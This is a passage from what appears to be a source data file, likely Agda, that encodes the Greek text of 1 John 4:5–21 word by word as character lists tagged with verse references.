∷ word (ἐ ∷ κ ∷ []) "1John.4.5"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.5"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ υ ∷ []) "1John.4.5"
∷ word (∙λ ∷ α ∷ ∙λ ∷ ο ∷ ῦ ∷ σ ∷ ι ∷ ν ∷ []) "1John.4.5"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.5"
∷ word (ὁ ∷ []) "1John.4.5"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ς ∷ []) "1John.4.5"
∷ word (α ∷ ὐ ∷ τ ∷ ῶ ∷ ν ∷ []) "1John.4.5"
∷ word (ἀ ∷ κ ∷ ο ∷ ύ ∷ ε ∷ ι ∷ []) "1John.4.5"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.4.6"
∷ word (ἐ ∷ κ ∷ []) "1John.4.6"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.6"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.6"
∷ word (ἐ ∷ σ ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.6"
∷ word (ὁ ∷ []) "1John.4.6"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ω ∷ ν ∷ []) "1John.4.6"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.6"
∷ word (θ ∷ ε ∷ ὸ ∷ ν ∷ []) "1John.4.6"
∷ word (ἀ ∷ κ ∷ ο ∷ ύ ∷ ε ∷ ι ∷ []) "1John.4.6"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.4.6"
∷ word (ὃ ∷ ς ∷ []) "1John.4.6"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.4.6"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.6"
∷ word (ἐ ∷ κ ∷ []) "1John.4.6"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.6"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.6"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.4.6"
∷ word (ἀ ∷ κ ∷ ο ∷ ύ ∷ ε ∷ ι ∷ []) "1John.4.6"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.4.6"
∷ word (ἐ ∷ κ ∷ []) "1John.4.6"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ο ∷ υ ∷ []) "1John.4.6"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.6"
∷ word (τ ∷ ὸ ∷ []) "1John.4.6"
∷ word (π ∷ ν ∷ ε ∷ ῦ ∷ μ ∷ α ∷ []) "1John.4.6"
∷ word (τ ∷ ῆ ∷ ς ∷ []) "1John.4.6"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ε ∷ ί ∷ α ∷ ς ∷ []) "1John.4.6"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.6"
∷ word (τ ∷ ὸ ∷ []) "1John.4.6"
∷ word (π ∷ ν ∷ ε ∷ ῦ ∷ μ ∷ α ∷ []) "1John.4.6"
∷ word (τ ∷ ῆ ∷ ς ∷ []) "1John.4.6"
∷ word (π ∷ ∙λ ∷ ά ∷ ν ∷ η ∷ ς ∷ []) "1John.4.6"
∷ word (Ἀ ∷ γ ∷ α ∷ π ∷ η ∷ τ ∷ ο ∷ ί ∷ []) "1John.4.7"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.7"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ή ∷ ∙λ ∷ ο ∷ υ ∷ ς ∷ []) "1John.4.7"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.7"
∷ word (ἡ ∷ []) "1John.4.7"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.4.7"
∷ word (ἐ ∷ κ ∷ []) "1John.4.7"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.7"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.7"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.7"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.7"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.4.7"
∷ word (ὁ ∷ []) "1John.4.7"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ ν ∷ []) "1John.4.7"
∷ word (ἐ ∷ κ ∷ []) "1John.4.7"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.7"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.7"
∷ word (γ ∷ ε ∷ γ ∷ έ ∷ ν ∷ ν ∷ η ∷ τ ∷ α ∷ ι ∷ []) "1John.4.7"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.7"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ε ∷ ι ∷ []) "1John.4.7"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.7"
∷ word (θ ∷ ε ∷ ό ∷ ν ∷ []) "1John.4.7"
∷ word (ὁ ∷ []) "1John.4.8"
∷ word (μ ∷ ὴ ∷ []) "1John.4.8"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ ν ∷ []) "1John.4.8"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.4.8"
∷ word (ἔ ∷ γ ∷ ν ∷ ω ∷ []) "1John.4.8"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.8"
∷ word (θ ∷ ε ∷ ό ∷ ν ∷ []) "1John.4.8"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.8"
∷ word (ὁ ∷ []) "1John.4.8"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.4.8"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.4.8"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.4.8"
∷ word (ἐ ∷ ν ∷ []) "1John.4.9"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.4.9"
∷ word (ἐ ∷ φ ∷ α ∷ ν ∷ ε ∷ ρ ∷ ώ ∷ θ ∷ η ∷ []) "1John.4.9"
∷ word (ἡ ∷ []) "1John.4.9"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.4.9"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.9"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.9"
∷ word (ἐ ∷ ν ∷ []) "1John.4.9"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.4.9"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.9"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.9"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ν ∷ []) "1John.4.9"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.9"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.9"
∷ word (μ ∷ ο ∷ ν ∷ ο ∷ γ ∷ ε ∷ ν ∷ ῆ ∷ []) "1John.4.9"
∷ word (ἀ ∷ π ∷ έ ∷ σ ∷ τ ∷ α ∷ ∙λ ∷ κ ∷ ε ∷ ν ∷ []) "1John.4.9"
∷ word (ὁ ∷ []) "1John.4.9"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.4.9"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.4.9"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.9"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ν ∷ []) "1John.4.9"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.4.9"
∷ word (ζ ∷ ή ∷ σ ∷ ω ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.9"
∷ word (δ ∷ ι ∷ []) "1John.4.9"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.9"
∷ word (ἐ ∷ ν ∷ []) "1John.4.10"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.4.10"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.4.10"
∷ word (ἡ ∷ []) "1John.4.10"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.4.10"
∷ word (ο ∷ ὐ ∷ χ ∷ []) "1John.4.10"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.10"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.4.10"
∷ word (ἠ ∷ γ ∷ α ∷ π ∷ ή ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.10"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.10"
∷ word (θ ∷ ε ∷ ό ∷ ν ∷ []) "1John.4.10"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.4.10"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.10"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.4.10"
∷ word (ἠ ∷ γ ∷ ά ∷ π ∷ η ∷ σ ∷ ε ∷ ν ∷ []) "1John.4.10"
∷ word (ἡ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.4.10"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.10"
∷ word (ἀ ∷ π ∷ έ ∷ σ ∷ τ ∷ ε ∷ ι ∷ ∙λ ∷ ε ∷ ν ∷ []) "1John.4.10"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.10"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ν ∷ []) "1John.4.10"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.10"
∷ word (ἱ ∷ ∙λ ∷ α ∷ σ ∷ μ ∷ ὸ ∷ ν ∷ []) "1John.4.10"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.4.10"
∷ word (τ ∷ ῶ ∷ ν ∷ []) "1John.4.10"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ι ∷ ῶ ∷ ν ∷ []) "1John.4.10"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.4.10"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ η ∷ τ ∷ ο ∷ ί ∷ []) "1John.4.11"
∷ word (ε ∷ ἰ ∷ []) "1John.4.11"
∷ word (ο ∷ ὕ ∷ τ ∷ ω ∷ ς ∷ []) "1John.4.11"
∷ word (ὁ ∷ []) "1John.4.11"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.4.11"
∷ word (ἠ ∷ γ ∷ ά ∷ π ∷ η ∷ σ ∷ ε ∷ ν ∷ []) "1John.4.11"
∷ word (ἡ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.4.11"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.11"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.4.11"
∷ word (ὀ ∷ φ ∷ ε ∷ ί ∷ ∙λ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.11"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ή ∷ ∙λ ∷ ο ∷ υ ∷ ς ∷ []) "1John.4.11"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ᾶ ∷ ν ∷ []) "1John.4.11"
∷ word (θ ∷ ε ∷ ὸ ∷ ν ∷ []) "1John.4.12"
∷ word (ο ∷ ὐ ∷ δ ∷ ε ∷ ὶ ∷ ς ∷ []) "1John.4.12"
∷ word (π ∷ ώ ∷ π ∷ ο ∷ τ ∷ ε ∷ []) "1John.4.12"
∷ word (τ ∷ ε ∷ θ ∷ έ ∷ α ∷ τ ∷ α ∷ ι ∷ []) "1John.4.12"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.4.12"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.12"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ή ∷ ∙λ ∷ ο ∷ υ ∷ ς ∷ []) "1John.4.12"
∷ word (ὁ ∷ []) "1John.4.12"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.4.12"
∷ word (ἐ ∷ ν ∷ []) "1John.4.12"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.4.12"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.4.12"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.12"
∷ word (ἡ ∷ []) "1John.4.12"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.4.12"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.12"
∷ word (ἐ ∷ ν ∷ []) "1John.4.12"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.4.12"
∷ word (τ ∷ ε ∷ τ ∷ ε ∷ ∙λ ∷ ε ∷ ι ∷ ω ∷ μ ∷ έ ∷ ν ∷ η ∷ []) "1John.4.12"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.12"
∷ word (Ἐ ∷ ν ∷ []) "1John.4.13"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.4.13"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.13"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.13"
∷ word (ἐ ∷ ν ∷ []) "1John.4.13"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.4.13"
∷ word (μ ∷ έ ∷ ν ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.13"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.13"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.4.13"
∷ word (ἐ ∷ ν ∷ []) "1John.4.13"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.4.13"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.13"
∷ word (ἐ ∷ κ ∷ []) "1John.4.13"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.13"
∷ word (π ∷ ν ∷ ε ∷ ύ ∷ μ ∷ α ∷ τ ∷ ο ∷ ς ∷ []) "1John.4.13"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.13"
∷ word (δ ∷ έ ∷ δ ∷ ω ∷ κ ∷ ε ∷ ν ∷ []) "1John.4.13"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.4.13"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.14"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.4.14"
∷ word (τ ∷ ε ∷ θ ∷ ε ∷ ά ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.4.14"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.14"
∷ word (μ ∷ α ∷ ρ ∷ τ ∷ υ ∷ ρ ∷ ο ∷ ῦ ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.14"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.14"
∷ word (ὁ ∷ []) "1John.4.14"
∷ word (π ∷ α ∷ τ ∷ ὴ ∷ ρ ∷ []) "1John.4.14"
∷ word (ἀ ∷ π ∷ έ ∷ σ ∷ τ ∷ α ∷ ∙λ ∷ κ ∷ ε ∷ ν ∷ []) "1John.4.14"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.14"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ν ∷ []) "1John.4.14"
∷ word (σ ∷ ω ∷ τ ∷ ῆ ∷ ρ ∷ α ∷ []) "1John.4.14"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.14"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ υ ∷ []) "1John.4.14"
∷ word (ὃ ∷ ς ∷ []) "1John.4.15"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.4.15"
∷ word (ὁ ∷ μ ∷ ο ∷ ∙λ ∷ ο ∷ γ ∷ ή ∷ σ ∷ ῃ ∷ []) "1John.4.15"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.15"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ ς ∷ []) "1John.4.15"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.15"
∷ word (ὁ ∷ []) "1John.4.15"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ς ∷ []) "1John.4.15"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.15"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.15"
∷ word (ὁ ∷ []) "1John.4.15"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.4.15"
∷ word (ἐ ∷ ν ∷ []) "1John.4.15"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.4.15"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.4.15"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.15"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.4.15"
∷ word (ἐ ∷ ν ∷ []) "1John.4.15"
∷ word (τ ∷ ῷ ∷ []) "1John.4.15"
∷ word (θ ∷ ε ∷ ῷ ∷ []) "1John.4.15"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.16"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.4.16"
∷ word (ἐ ∷ γ ∷ ν ∷ ώ ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.16"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.16"
∷ word (π ∷ ε ∷ π ∷ ι ∷ σ ∷ τ ∷ ε ∷ ύ ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.16"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.4.16"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ ν ∷ []) "1John.4.16"
∷ word (ἣ ∷ ν ∷ []) "1John.4.16"
∷ word (ἔ ∷ χ ∷ ε ∷ ι ∷ []) "1John.4.16"
∷ word (ὁ ∷ []) "1John.4.16"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.4.16"
∷ word (ἐ ∷ ν ∷ []) "1John.4.16"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.4.16"
∷ word (Ὁ ∷ []) "1John.4.16"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.4.16"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.4.16"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.4.16"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.16"
∷ word (ὁ ∷ []) "1John.4.16"
∷ word (μ ∷ έ ∷ ν ∷ ω ∷ ν ∷ []) "1John.4.16"
∷ word (ἐ ∷ ν ∷ []) "1John.4.16"
∷ word (τ ∷ ῇ ∷ []) "1John.4.16"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ ῃ ∷ []) "1John.4.16"
∷ word (ἐ ∷ ν ∷ []) "1John.4.16"
∷ word (τ ∷ ῷ ∷ []) "1John.4.16"
∷ word (θ ∷ ε ∷ ῷ ∷ []) "1John.4.16"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.4.16"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.16"
∷ word (ὁ ∷ []) "1John.4.16"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.4.16"
∷ word (ἐ ∷ ν ∷ []) "1John.4.16"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.4.16"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.4.16"
∷ word (ἐ ∷ ν ∷ []) "1John.4.17"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.4.17"
∷ word (τ ∷ ε ∷ τ ∷ ε ∷ ∙λ ∷ ε ∷ ί ∷ ω ∷ τ ∷ α ∷ ι ∷ []) "1John.4.17"
∷ word (ἡ ∷ []) "1John.4.17"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.4.17"
∷ word (μ ∷ ε ∷ θ ∷ []) "1John.4.17"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.4.17"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.4.17"
∷ word (π ∷ α ∷ ρ ∷ ρ ∷ η ∷ σ ∷ ί ∷ α ∷ ν ∷ []) "1John.4.17"
∷ word (ἔ ∷ χ ∷ ω ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.17"
∷ word (ἐ ∷ ν ∷ []) "1John.4.17"
∷ word (τ ∷ ῇ ∷ []) "1John.4.17"
∷ word (ἡ ∷ μ ∷ έ ∷ ρ ∷ ᾳ ∷ []) "1John.4.17"
∷ word (τ ∷ ῆ ∷ ς ∷ []) "1John.4.17"
∷ word (κ ∷ ρ ∷ ί ∷ σ ∷ ε ∷ ω ∷ ς ∷ []) "1John.4.17"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.17"
∷ word (κ ∷ α ∷ θ ∷ ὼ ∷ ς ∷ []) "1John.4.17"
∷ word (ἐ ∷ κ ∷ ε ∷ ῖ ∷ ν ∷ ό ∷ ς ∷ []) "1John.4.17"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.17"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.17"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.4.17"
∷ word (ἐ ∷ σ ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.17"
∷ word (ἐ ∷ ν ∷ []) "1John.4.17"
∷ word (τ ∷ ῷ ∷ []) "1John.4.17"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ῳ ∷ []) "1John.4.17"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.4.17"
∷ word (φ ∷ ό ∷ β ∷ ο ∷ ς ∷ []) "1John.4.18"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.4.18"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.18"
∷ word (ἐ ∷ ν ∷ []) "1John.4.18"
∷ word (τ ∷ ῇ ∷ []) "1John.4.18"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ ῃ ∷ []) "1John.4.18"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.4.18"
∷ word (ἡ ∷ []) "1John.4.18"
∷ word (τ ∷ ε ∷ ∙λ ∷ ε ∷ ί ∷ α ∷ []) "1John.4.18"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.4.18"
∷ word (ἔ ∷ ξ ∷ ω ∷ []) "1John.4.18"
∷ word (β ∷ ά ∷ ∙λ ∷ ∙λ ∷ ε ∷ ι ∷ []) "1John.4.18"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.18"
∷ word (φ ∷ ό ∷ β ∷ ο ∷ ν ∷ []) "1John.4.18"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.18"
∷ word (ὁ ∷ []) "1John.4.18"
∷ word (φ ∷ ό ∷ β ∷ ο ∷ ς ∷ []) "1John.4.18"
∷ word (κ ∷ ό ∷ ∙λ ∷ α ∷ σ ∷ ι ∷ ν ∷ []) "1John.4.18"
∷ word (ἔ ∷ χ ∷ ε ∷ ι ∷ []) "1John.4.18"
∷ word (ὁ ∷ []) "1John.4.18"
∷ word (δ ∷ ὲ ∷ []) "1John.4.18"
∷ word (φ ∷ ο ∷ β ∷ ο ∷ ύ ∷ μ ∷ ε ∷ ν ∷ ο ∷ ς ∷ []) "1John.4.18"
∷ word (ο ∷ ὐ ∷ []) "1John.4.18"
∷ word (τ ∷ ε ∷ τ ∷ ε ∷ ∙λ ∷ ε ∷ ί ∷ ω ∷ τ ∷ α ∷ ι ∷ []) "1John.4.18"
∷ word (ἐ ∷ ν ∷ []) "1John.4.18"
∷ word (τ ∷ ῇ ∷ []) "1John.4.18"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ ῃ ∷ []) "1John.4.18"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.4.19"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.19"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.19"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.4.19"
∷ word (π ∷ ρ ∷ ῶ ∷ τ ∷ ο ∷ ς ∷ []) "1John.4.19"
∷ word (ἠ ∷ γ ∷ ά ∷ π ∷ η ∷ σ ∷ ε ∷ ν ∷ []) "1John.4.19"
∷ word (ἡ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.4.19"
∷ word (ἐ ∷ ά ∷ ν ∷ []) "1John.4.20"
∷ word (τ ∷ ι ∷ ς ∷ []) "1John.4.20"
∷ word (ε ∷ ἴ ∷ π ∷ ῃ ∷ []) "1John.4.20"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.20"
∷ word (Ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ []) "1John.4.20"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.20"
∷ word (θ ∷ ε ∷ ό ∷ ν ∷ []) "1John.4.20"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.20"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.20"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.4.20"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.20"
∷ word (μ ∷ ι ∷ σ ∷ ῇ ∷ []) "1John.4.20"
∷ word (ψ ∷ ε ∷ ύ ∷ σ ∷ τ ∷ η ∷ ς ∷ []) "1John.4.20"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.4.20"
∷ word (ὁ ∷ []) "1John.4.20"
∷ word (γ ∷ ὰ ∷ ρ ∷ []) "1John.4.20"
∷ word (μ ∷ ὴ ∷ []) "1John.4.20"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ ν ∷ []) "1John.4.20"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.20"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.4.20"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.20"
∷ word (ὃ ∷ ν ∷ []) "1John.4.20"
∷ word (ἑ ∷ ώ ∷ ρ ∷ α ∷ κ ∷ ε ∷ ν ∷ []) "1John.4.20"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.20"
∷ word (θ ∷ ε ∷ ὸ ∷ ν ∷ []) "1John.4.20"
∷ word (ὃ ∷ ν ∷ []) "1John.4.20"
∷ word (ο ∷ ὐ ∷ χ ∷ []) "1John.4.20"
∷ word (ἑ ∷ ώ ∷ ρ ∷ α ∷ κ ∷ ε ∷ ν ∷ []) "1John.4.20"
∷ word (ο ∷ ὐ ∷ []) "1John.4.20"
∷ word (δ ∷ ύ ∷ ν ∷ α ∷ τ ∷ α ∷ ι ∷ []) "1John.4.20"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ᾶ ∷ ν ∷ []) "1John.4.20"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.21"
∷ word (τ ∷ α ∷ ύ ∷ τ ∷ η ∷ ν ∷ []) "1John.4.21"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.4.21"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὴ ∷ ν ∷ []) "1John.4.21"
∷ word (ἔ ∷ χ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.4.21"
∷ word (ἀ ∷ π ∷ []) "1John.4.21"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.4.21"
